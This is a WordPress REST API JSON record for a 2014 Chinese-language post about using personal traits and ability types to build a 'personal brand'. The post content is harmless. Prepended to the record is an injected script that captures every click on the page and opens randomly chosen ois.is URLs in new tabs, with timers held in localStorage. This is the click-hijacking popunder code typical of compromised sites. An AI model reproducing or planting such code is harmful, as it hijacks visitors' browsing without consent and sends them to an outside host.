<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":6,"date":"2014-05-19T15:00:54","date_gmt":"2014-05-19T07:00:54","guid":{"rendered":"http:\/\/210.61.8.31\/wenft_student\/?p=6"},"modified":"2014-05-25T19:55:20","modified_gmt":"2014-05-25T11:55:20","slug":"%e4%bd%9c%e5%93%81%e9%9b%86%e4%b8%8e%e6%88%90%e6%9e%9c%e5%b1%95","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=6","title":{"rendered":"\u5982\u4f55\u4f7f\u7528&#8221;\u500b\u4eba\u7279\u8272\u8207\u80fd\u529b\u985e\u578b&#8221;\u7d93\u71df\u300c\u500b\u4eba\u54c1\u724c\u300d"},"content":{"rendered":"<p><span style=\"font-size: 12pt; color: #808080;\"> \u60f3\u8981\u8b93\u672a\u4f86\u7684\u4e3b\u7ba1\u3001\u4f01\u696d\u77ad\u89e3\u60a8\u7684\u50f9\u503c\u8207\u80fd\u529b\u55ce\uff1f\u5584\u7528\u9019\u500b\u5e73\u81fa\uff0c\u5229\u7528\u5404\u7a2e\u5b78\u7fd2\u6b77\u7a0b\u3001\u7d93\u9a57\uff0c\u5c07\u60a8\u7684\u7279\u8cea\u8207\u8a34\u6c42\u8981\u9805\u5448\u73fe\u51fa\u4f86\uff0c\u63d0\u9ad8\u60a8\u7684\u300c\u54c1\u724c\u50f9\u503c\u300d\u3002\u60f3\u8981\u9032\u4e00\u6b65\u77ad\u89e3\u81ea\u5df1\u7684\u54c1\u724c\u8a72\u5982\u4f55\u7d93\u71df\uff0c\u53ef\u4ee5\u53c3\u8003\u70ba\u60a8\u6e96\u5099\u7684\u300c\u8077\u80fd\u767c\u5c55\u300d\u5167\u5bb9\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u60f3\u8981\u8b93\u672a\u4f86\u7684\u4e3b\u7ba1\u3001\u4f01\u696d\u77ad\u89e3\u60a8\u7684\u50f9\u503c\u8207\u80fd\u529b\u55ce\uff1f\u5584\u7528\u9019\u500b\u5e73\u81fa\uff0c\u5229\u7528\u5404\u7a2e\u5b78\u7fd2\u6b77\u7a0b\u3001\u7d93\u9a57<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19,20,18,21,16],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/6"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6"}],"version-history":[{"count":10,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/6\/revisions"}],"predecessor-version":[{"id":688,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/6\/revisions\/688"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}